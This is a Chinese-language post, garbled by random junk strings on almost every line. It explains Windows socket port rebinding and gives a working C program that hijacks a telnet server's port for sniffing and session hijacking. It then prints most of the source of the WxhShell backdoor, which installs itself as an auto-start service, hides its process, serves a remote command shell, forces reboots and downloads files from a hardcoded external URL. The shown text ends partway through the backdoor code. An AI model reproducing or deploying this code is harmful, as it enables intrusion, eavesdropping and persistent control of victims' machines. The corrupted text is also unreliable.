在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
o:_Xv.HRZo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fyByz=pl P3=W|81e saddr.sin_family = AF_INET;
,=#F// BYMi6wts saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&8vCZN^ < Pky9o; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
MZT23[+ <x<"n t 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;u>DNG|. `nZ )> 这意味着什么?意味着可以进行如下的攻击:
RE/~#k@a 1fZ(l" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
e=+?K5q{P( 7*?}: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
JW3B'_0 HlH64w2^R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%*L:sTj( G{6;>8h 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
K5xX)oV ~1>.A(,=z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
PEc=\? ZR(x%ews 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Yj6*NZ* njWL U! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0Nnsjh 1q,{0s_kp #include
23DiW#o' #include
OUhqMVX9C #include
9R7A8 #include
z}MP)|aH: DWORD WINAPI ClientThread(LPVOID lpParam);
/,g ,Ch<d int main()
r(RKwr:m {
6I4oi@hZz WORD wVersionRequested;
'2[albxSc DWORD ret;
O4og?h> WSADATA wsaData;
n6BQk2l BOOL val;
Y\$ySvZ0 SOCKADDR_IN saddr;
s=0BMPDgm SOCKADDR_IN scaddr;
~Hr}] int err;
j'MO(ev SOCKET s;
&3n~%$#N SOCKET sc;
HBu[gh;b int caddsize;
''0fF_P HANDLE mt;
W7 #9jo DWORD tid;
w tiny,6 wVersionRequested = MAKEWORD( 2, 2 );
i:OK8Q{VI err = WSAStartup( wVersionRequested, &wsaData );
Ljp%CI[i if ( err != 0 ) {
4X+ifZO printf("error!WSAStartup failed!\n");
e,Uo#T6J return -1;
pUV/Ul] }
$w);5o saddr.sin_family = AF_INET;
{M^3m5.^ %nV]ibp2) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Cd>WUw Q+W1lv8R saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
LC'{p saddr.sin_port = htons(23);
q)^Jj?W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A m>cd; {
VB,?Mo}R printf("error!socket failed!\n");
4}eepJOn return -1;
z<##g }
mjKS{ val = TRUE;
fvdU`*|n) //SO_REUSEADDR选项就是可以实现端口重绑定的
B(n{e53 9f if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
p IU&^yX> {
]]oI#*c printf("error!setsockopt failed!\n");
7aQc=^vaZ return -1;
UHTvCc }
fngOeLVG //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5a hVeY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;;:-l99 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
l@\#Ywz hKT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$D|e>U {
T<55a6NoK ret=GetLastError();
4DL) rkO printf("error!bind failed!\n");
Cc%LztP> return -1;
rU2%dkTa }
j ~1B|,H listen(s,2);
Zf65`K3 while(1)
D0%Ug> {
(K)] qNH caddsize = sizeof(scaddr);
9.a3&*tV[ //接受连接请求
#]ypHVE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:n.f_v}6 if(sc!=INVALID_SOCKET)
j]aoR {
:uK?4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
to=y#$_ if(mt==NULL)
a*ushB {
{O7X`'[ printf("Thread Creat Failed!\n");
%\H|B0 break;
`m!j$,c. }
k=4N.*#`y }
CkdP #}f CloseHandle(mt);
^7 &5
z&o }
Ipq"E closesocket(s);
uFPF!Ern WSACleanup();
8p@Piy{p return 0;
[g:$K5\64 }
/M3Y~l$ DWORD WINAPI ClientThread(LPVOID lpParam)
/qy-qUh3h {
pJt,9e6 SOCKET ss = (SOCKET)lpParam;
JSTuXW SOCKET sc;
O"c;|zCc> unsigned char buf[4096];
*U]V@;XF SOCKADDR_IN saddr;
"F.;Dv9V[0 long num;
.R./0Ot tx DWORD val;
v,4pp@8rv DWORD ret;
<F`>,Pm //如果是隐藏端口应用的话,可以在此处加一些判断
G}:lzOlMH //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m6[0Kws& saddr.sin_family = AF_INET;
Od%"B\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
O0pDd4)" saddr.sin_port = htons(23);
^ml'? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#7q7PYG4 {
lMg+R<$~I printf("error!socket failed!\n");
@]-jl}:] return -1;
@++.FEf }
1M
781 val = 100;
ZGYr$C~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O2f-5Y$@ {
),ma_{$N ret = GetLastError();
,kF}lo) return -1;
i-6F:\; }
qCqFy#Ms\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|(q9" {
0^RXGN ret = GetLastError();
zBk'{[y9L return -1;
%Cv D-![0 }
8_tK4PwP if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I^8"{J.Q)[ {
%
<qw printf("error!socket connect failed!\n");
t`,`6@d closesocket(sc);
aW`Lec{. closesocket(ss);
c;n *AK return -1;
t<|NLk. }
#EsNeBu while(1)
I$0)Px%z {
,Qnd3[2[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
oze& //如果是嗅探内容的话,可以再此处进行内容分析和记录
~?FpU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ju
:CMkv num = recv(ss,buf,4096,0);
s!}ne"&0
if(num>0)
KNLfp1! send(sc,buf,num,0);
nEkR1^30 else if(num==0)
e[/dv)J break;
3YFU*f, num = recv(sc,buf,4096,0);
XAe%m^ if(num>0)
<-D0u?8 send(ss,buf,num,0);
w$`5g else if(num==0)
e^[H[d.WMC break;
}t%!9hr5D }
/S(zff[at closesocket(ss);
vbD{N3p)?n closesocket(sc);
YGPy@-,E return 0 ;
5wh|=**/ }
(C@~3!AVa dOoK Lry Jh?dw3Ai^ ==========================================================
!gv`FE9y X6mqi;+ 下边附上一个代码,,WXhSHELL
qQsku;C?i v>-VlQ ==========================================================
dnb)/ A' /KUi #include "stdafx.h"
PX
n;C/ AG?dGj^ #include <stdio.h>
OI0;BBZ #include <string.h>
d~`x )B( #include <windows.h>
JMz;BAHT #include <winsock2.h>
7e#?e+5+A #include <winsvc.h>
Tp_L%F #include <urlmon.h>
KFvQ %d(^d #pragma comment (lib, "Ws2_32.lib")
.%Ta]!0 #pragma comment (lib, "urlmon.lib")
Y>E zTV w`il=ZAC #define MAX_USER 100 // 最大客户端连接数
e*;c(3>( #define BUF_SOCK 200 // sock buffer
q"<ac qK #define KEY_BUFF 255 // 输入 buffer
(Xq)p y9 .G)(0z("s #define REBOOT 0 // 重启
-:Ia^{YN #define SHUTDOWN 1 // 关机
cgm~> f/Hm{<BY
#define DEF_PORT 5000 // 监听端口
0;:.B
j sh`s/JRf #define REG_LEN 16 // 注册表键长度
cnFI
&,FM #define SVC_LEN 80 // NT服务名长度
\e'R@ "gne_Ye. // 从dll定义API
g)_e]& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3`ELKq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v{jQek4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.Jrqm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
G1"zElug 0DmMG // wxhshell配置信息
O Vko+X` struct WSCFG {
8rMX9qTO@ int ws_port; // 监听端口
I>[RqG char ws_passstr[REG_LEN]; // 口令
!2'jrJGc
int ws_autoins; // 安装标记, 1=yes 0=no
-sjd&)~S[ char ws_regname[REG_LEN]; // 注册表键名
pm\x~3jHs char ws_svcname[REG_LEN]; // 服务名
\CXQo4P char ws_svcdisp[SVC_LEN]; // 服务显示名
:I:!BXQT$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
n ;$5Cq!v= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?kZTI ( int ws_downexe; // 下载执行标记, 1=yes 0=no
"9^j. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
)6Ny1x+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J]G?Rc 2cq I[t@0 };
&b?LP] `(f!*Ru@/z // default Wxhshell configuration
-Gw$#! struct WSCFG wscfg={DEF_PORT,
j|/]#@Yr "xuhuanlingzhe",
<X7FMNr[ 1,
5K<5kHpvJ{ "Wxhshell",
ni6{pK4Wqm "Wxhshell",
MwR0@S}* "WxhShell Service",
?I[8' "Wrsky Windows CmdShell Service",
NyVnA "Please Input Your Password: ",
ywb4LKD 1,
^H2-RBE# "
http://www.wrsky.com/wxhshell.exe",
z-LB^kc8oQ "Wxhshell.exe"
:w<V };
)YX 'N<[ q*7zx_ o // 消息定义模块
yI ld75S` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}*ZHgf]~# char *msg_ws_prompt="\n\r? for help\n\r#>";
1e>s{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
t7m>A-I char *msg_ws_ext="\n\rExit.";
|pmZ.r char *msg_ws_end="\n\rQuit.";
HVP"A3}KC char *msg_ws_boot="\n\rReboot...";
BvR-K\rx char *msg_ws_poff="\n\rShutdown...";
91q8k=p char *msg_ws_down="\n\rSave to ";
i2sN3it -Y*bSP)\ char *msg_ws_err="\n\rErr!";
\L(*]:EP char *msg_ws_ok="\n\rOK!";
#DN0T' B 5o6>T! char ExeFile[MAX_PATH];
<HJl2p N int nUser = 0;
"=+7-` HANDLE handles[MAX_USER];
i%g#+Gw int OsIsNt;
L dm?JrU '^Ql]% _ SERVICE_STATUS serviceStatus;
) :\xHR4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
Q"t<3-" u6MzRC // 函数声明
Wt=| int Install(void);
+\|Iu;w int Uninstall(void);
_`I"0.B] int DownloadFile(char *sURL, SOCKET wsh);
59!Fkd3 int Boot(int flag);
LNa $
X5` void HideProc(void);
rN%F)
q# int GetOsVer(void);
7hi"6, int Wxhshell(SOCKET wsl);
V\{tmDE void TalkWithClient(void *cs);
h-m\% |D int CmdShell(SOCKET sock);
K)-m*#H&uw int StartFromService(void);
xw3YK!$sIF int StartWxhshell(LPSTR lpCmdLine);
Nof3F/2 N& 7\9>a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9(L)&S{4K VOID WINAPI NTServiceHandler( DWORD fdwControl );
s.x&LG g=]u^& // 数据结构和表定义
k0 SERVICE_TABLE_ENTRY DispatchTable[] =
.>mr%#p {
sp
]zbX? {wscfg.ws_svcname, NTServiceMain},
.{=$!8|&I9 {NULL, NULL}
[<{Kw=X__2 };
e+j)~RBnu3 \N4
y< // 自我安装
U
R%4@ int Install(void)
]miy/V }5 {
2OwV^-OG char svExeFile[MAX_PATH];
N @#c,, HKEY key;
EM/@T} strcpy(svExeFile,ExeFile);
]ZoD'-, `d[1`P1i[ // 如果是win9x系统,修改注册表设为自启动
*JaqTI,e if(!OsIsNt) {
^kgBa2 7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.-IkL|M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}4{fQ`HT RegCloseKey(key);
(&P9+Tl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0q*r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1I*7SkgKv RegCloseKey(key);
(:";i& return 0;
`KCh*i }
Da v PYg }
*$"gaXI }
ynB _"mg else {
z)xSN;x >(<ytn t= // 如果是NT以上系统,安装为系统服务
Hsihytdj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!j\" w p if (schSCManager!=0)
v0kqu {
UTSL SC_HANDLE schService = CreateService
K^ 3co (
Ht-t1q schSCManager,
w~;I7: wscfg.ws_svcname,
tBm_YP[ wscfg.ws_svcdisp,
i:cXwQG}B SERVICE_ALL_ACCESS,
Pf$pt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.!6>oL/iF SERVICE_AUTO_START,
tU^kQR! SERVICE_ERROR_NORMAL,
\y88d4zX svExeFile,
a3VM' NULL,
8UMFq NULL,
*5wu
NULL,
PT^c^{V NULL,
p[@5&_u(z NULL
<n:}kQTT );
g
>'p>}t if (schService!=0)
v|ck>_"
. {
_kdL'x CloseServiceHandle(schService);
! {82D[5 CloseServiceHandle(schSCManager);
UDc$"a}ds{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{\z({Wlb] strcat(svExeFile,wscfg.ws_svcname);
R'dSbn if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'r@:Cz3e*I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
xESjM1A) RegCloseKey(key);
`g_"GE return 0;
A+&xMM2Wj }
2TES>} }
&I({T`= CloseServiceHandle(schSCManager);
c\q
}
8`]=C~G }
;),BW g e }*0ghKI return 1;
~=wCwA|1 }
{0@&OO:w +@Ad1fJi // 自我卸载
t9_E$w^U int Uninstall(void)
mCz,2K|^~ {
?|1Mv1C? HKEY key;
:qvI%1cP= Ka|eFprS if(!OsIsNt) {
jS!`2li?{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S/`%Q2za4 RegDeleteValue(key,wscfg.ws_regname);
Ln.ZVMZ; RegCloseKey(key);
D&ve15wL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/oL;YIoQX RegDeleteValue(key,wscfg.ws_regname);
x-'~Bu RegCloseKey(key);
NJ MJ return 0;
X]y)ZF26 }
gUAxyV }
`$604+G }
8*SP~q else {
BT_tOEL# : 5U"XY x@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7Mx6 if (schSCManager!=0)
+"ueq {
,zQOZ'^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
M('d-Q{B7L if (schService!=0)
y#<MVH {
H2r8,|XL if(DeleteService(schService)!=0) {
@-)tM.8~ CloseServiceHandle(schService);
DOQc"+ CloseServiceHandle(schSCManager);
!>(RK"KWq] return 0;
OI0B:() }
@+Y8*Rj\3 CloseServiceHandle(schService);
8CC/ BOe }
oW$s
xS CloseServiceHandle(schSCManager);
}Z`(aDH }
-z:&*= }
Kv{8iAB#c }4>JO"" return 1;
WV"jH9"[ }
_ OaRY] }#v{`Sn%^C // 从指定url下载文件
,&YTj> int DownloadFile(char *sURL, SOCKET wsh)
Zw]
?. {
y\F=ui HRESULT hr;
=6=_/q2 char seps[]= "/";
%5 char *token;
_J]2~b char *file;
r,N[ )@ char myURL[MAX_PATH];
nW+YOX|+ char myFILE[MAX_PATH];
a45ss7 ^# A.@ strcpy(myURL,sURL);
}E}8_8T6 token=strtok(myURL,seps);
Y& ] 8 { while(token!=NULL)
?G08[aNR {
{^Pq\h; file=token;
[<wbbvXR token=strtok(NULL,seps);
RiO="tX' }
gcJF`H/iNK -@IL"U6 GetCurrentDirectory(MAX_PATH,myFILE);
\Xt)E[ strcat(myFILE, "\\");
d'l$$%zJ strcat(myFILE, file);
Iia.k'N send(wsh,myFILE,strlen(myFILE),0);
`!G7k send(wsh,"...",3,0);
!RlC~^
- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
M8@_Uj if(hr==S_OK)
*OdX u&5 return 0;
g6sjc,` else
s(&;q4| return 1;
S*)o)34U q9dLHi<1 }
cX
A t:m 1Qh`6Ya f // 系统电源模块
Z0fJ9HW int Boot(int flag)
L|^o71t| {
DI&MC9j( HANDLE hToken;
YCw('i(| TOKEN_PRIVILEGES tkp;
sg'NBAo" 6U,fz#<,} if(OsIsNt) {
d
`j?7Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{5Eyr$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!U BVPR* tkp.PrivilegeCount = 1;
5]7&IDA]]9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'5};M)w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+#]|)VZ if(flag==REBOOT) {
}r2[!gGd%| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
F*
#h9
Y return 0;
PM4>ThQ }
^p_u.P else {
135vZ:S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zH'2s-.bi return 0;
jxy1 }
3ViM ?p }
5#_tE<uM else {
k|O,1 if(flag==REBOOT) {
b
Dg9P^<n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G^Xd- 7 GQ return 0;
P Tnac }
+zRh
fIJHH else {
%{STz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
C=VIT*= return 0;
B#tdLv"I }
=s'7$D}0. }
Sue
6+p 8mgQu]> return 1;
n=`w9qajd }
6~Wu` viuiqs5[Bi // win9x进程隐藏模块
C(]'&~}( void HideProc(void)
Yjup {
JfTfAq] FD6v/Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`Lz1{#F2G if ( hKernel != NULL )
n9fk,3 {
"g
`nsk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(G8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'8r8%XI FreeLibrary(hKernel);
M\yHUS6N }
H4skvIl
Yg6If7& return;
+p?hGoF= }
'XTs
-= 4uX(_5#j // 获取操作系统版本
f[qPG& int GetOsVer(void)
ypA: P {
EDN(eh(_ OSVERSIONINFO winfo;
+{6`F1MO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nC~fvyd<P GetVersionEx(&winfo);
:l~E E! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~|R[O^9B return 1;
>I-g[* else
S\|^ULrH return 0;
E&%jeR }
\Hs|$ ~JE|f 7 // 客户端句柄模块
79z)C35~ int Wxhshell(SOCKET wsl)
b5Q8pWZg, {
+Pw,Nl\KD SOCKET wsh;
hNO)~rt struct sockaddr_in client;
N?+eWY DWORD myID;
#` +]{4hR bm}+}CJ@#0 while(nUser<MAX_USER)
H'h#wV`( {
Q>IH``1*e int nSize=sizeof(client);
NV#')+Ba wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<9\,QR) if(wsh==INVALID_SOCKET) return 1;
E0`[G]*G MW]8;`|jC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Xb+3Xn0}&8 if(handles[nUser]==0)
(zmNa}- closesocket(wsh);
{{E jMBg{ else
cDO:'- nUser++;
C|$L6n>DR6 }
/:Y9sz uW` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
F;a3 l7Y8b` return 0;
i>"dBJh]b }
v?%3~XoH .M+v?Ad // 关闭 socket
&Y=.D:z< void CloseIt(SOCKET wsh)
3`rIV*&_{ {
eKJ:?Lxv; closesocket(wsh);
M,JA;a, _ nUser--;
&gWiu9WbS ExitThread(0);
<N5rv3
s }
1uC;$Aj6: ^5>du~d // 客户端请求句柄
"<*nZ~nE) void TalkWithClient(void *cs)
8;8YA1@w {
{,F/KL^u +',^((o SOCKET wsh=(SOCKET)cs;
`x4E;Wjv char pwd[SVC_LEN];
|1i]L @& char cmd[KEY_BUFF];
NGj"ByVjx char chr[1];
[Gf{f\O
int i,j;
fwH`}<o ?k::tNv0 while (nUser < MAX_USER) {
e2Ww0IK!E (s Jq;Z if(wscfg.ws_passstr) {
lJ'trYaq7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ym:{Mm=ud //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s<d!+< //ZeroMemory(pwd,KEY_BUFF);
KJ pj i=0;
Y.9~Bo<<r while(i<SVC_LEN) {
08O7F 3/l\ <{ // 设置超时
u6p5:oJj, fd_set FdRead;
,,}sK struct timeval TimeOut;
,wlbIl~ FD_ZERO(&FdRead);
1wbTqc FD_SET(wsh,&FdRead);
($:y\,5(9I TimeOut.tv_sec=8;
0IpST TimeOut.tv_usec=0;
WT?b Bf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
E\_W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v}f&q! )ZN(2z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'jN/~I pwd
=chr[0]; +/w(K,
if(chr[0]==0xd || chr[0]==0xa) {
363cuRP
pwd=0; Cv P`2S\
break; O!yakU+
} r/^tzH's
i++; 0w'|d@*wV
} }ymc5-
;fj9n-
// 如果是非法用户,关闭 socket
rWqkdi1
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e"PMvQ
} srsK:%`
@7 )Z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u2\+?`Ox
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s><IykIi
?LR"hZ>
while(1) { 6 1L7
-~
Ogd8!'\
ZeroMemory(cmd,KEY_BUFF); ;C+cE#
e/ WBgiLw
// 自动支持客户端 telnet标准 U|9U(il
j=0; [4ee <J
while(j<KEY_BUFF) { *$JB`=Q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D7M0NEY
cmd[j]=chr[0]; ^t`f1rGR
if(chr[0]==0xa || chr[0]==0xd) { )&XnM69~b
cmd[j]=0; q%DVDq( z
break; Q5hb0O%a
} 0n\^$WY
j++; w[e0wh`.
} >/8ru*Oc
I'xC+nL@
// 下载文件 g>UBZA4
if(strstr(cmd,"http://")) { L#`7 FaM?
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >kt~vJI
if(DownloadFile(cmd,wsh)) {ip=iiW2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #>@<n3rq
else 0GS{F8f~,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U)
+?$
Tbm
} nZ&T8@m
else { ]c5DOv&
B'<!k7Ewy
switch(cmd[0]) { \y[Bu^tk
*&(2`#C;
// 帮助 @X
K>
case '?': { N?\bBt@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E]\D>[0O
break; :m]/u( /N
} g'KzdG`O0
// 安装 >'eB2
case 'i': { Z+r%_|kZ
if(Install()) mVa?aWpez
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _yiRh:
else 1% asx'^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;gEp!R8
break; 7t ZW^dF
} %)BwE
// 卸载 #-}kG"
case 'r': { WC3W+v G7
if(Uninstall()) &fCP2]hj'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S@9w'upd
else U)u\1AV5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a#YuKh?
break; ;I[ht
} :!(YEF#}
// 显示 wxhshell 所在路径 dVPq%[J2
case 'p': { >g>f;\mD7$
char svExeFile[MAX_PATH]; UaH26fWs
strcpy(svExeFile,"\n\r"); _{lx*dq
strcat(svExeFile,ExeFile); N-XVRuv
send(wsh,svExeFile,strlen(svExeFile),0); s.VUdR"
break; fEHh]%GT`
} &7$,<9.
// 重启 D/gd
case 'b': { kuWK/6l4
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .Ln;m8
if(Boot(REBOOT)) `l+ >iM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $dlnmNP+
else { {9h`$e=
closesocket(wsh); JX2mTQ
ExitThread(0); Fl B, (Cm
} ;3 G~["DA
break; h9w@oRp`~
} <P|`7wfxE
// 关机 Ko1AaX(I'+
case 'd': { Oyi;bb<#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [B}1z
if(Boot(SHUTDOWN)) 7k'=F m6za
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Y,/dyT
Zm
else { t)\D
closesocket(wsh); Z[a O_6L
ExitThread(0); 8T8pAs0
p
} A)hq0FPp
break; 8FxcI!A@
} z0T`5NG@
// 获取shell @PT`CK}
case 's': { qgwv=5|
CmdShell(wsh); TrSN00
closesocket(wsh); J!=](s5|
ExitThread(0); \Ku9"x
break; 'dmp4VT3
} N90\]dFmy
// 退出 jHs<s`#h
case 'x': { 3C>2x(]M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HF*j`}
CloseIt(wsh); jf$JaY
break; bHhC56[M
} ,"P5D&,_
// 离开 .'l.7t
case 'q': { Zk~nB}Xw
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0t5Q9#RY
closesocket(wsh); s,1pZT <E
WSACleanup(); a9yIV5_N
exit(1); ArNur~
break; 2(c<U6#C'l
} 4a(g<5wfI
} JK@izI
} |HaU3E*R
aDm-X r
// 提示信息 u~'m7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xaGVu0q
} T^/Gj|N*
} r!{w93rPX
SRA|7g}7W
return; 1Pud,!\%q
} pieU|?fQ
p<Zs*
@
// shell模块句柄 el <<D
int CmdShell(SOCKET sock) fOqS|1rC
{ L
LYHr
STARTUPINFO si; Ov$N"
ZeroMemory(&si,sizeof(si)); B6tcKh9d,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S[W9G)KWp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .\z|Fr
PROCESS_INFORMATION ProcessInfo; ^ 4u3Q
char cmdline[]="cmd"; m&Y;/kr
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8CHb~m@^$
return 0; .nj?;).
} /3)YWFZZc
u~/M
// 自身启动模式 !A'`uf4u
int StartFromService(void) zCK y`u.
{ |1dEs,z\
typedef struct g5kYyE
{ OmT Z-*N
DWORD ExitStatus; w\"n!^ms
DWORD PebBaseAddress; eh({K;>
DWORD AffinityMask; ]C}u-B746
DWORD BasePriority; HI"!n$p
ULONG UniqueProcessId; m[g< K
ULONG InheritedFromUniqueProcessId; |QAeQWP+1
} PROCESS_BASIC_INFORMATION; ,z?<7F1q=
2a._?(k_y
PROCNTQSIP NtQueryInformationProcess; jMz1s%C
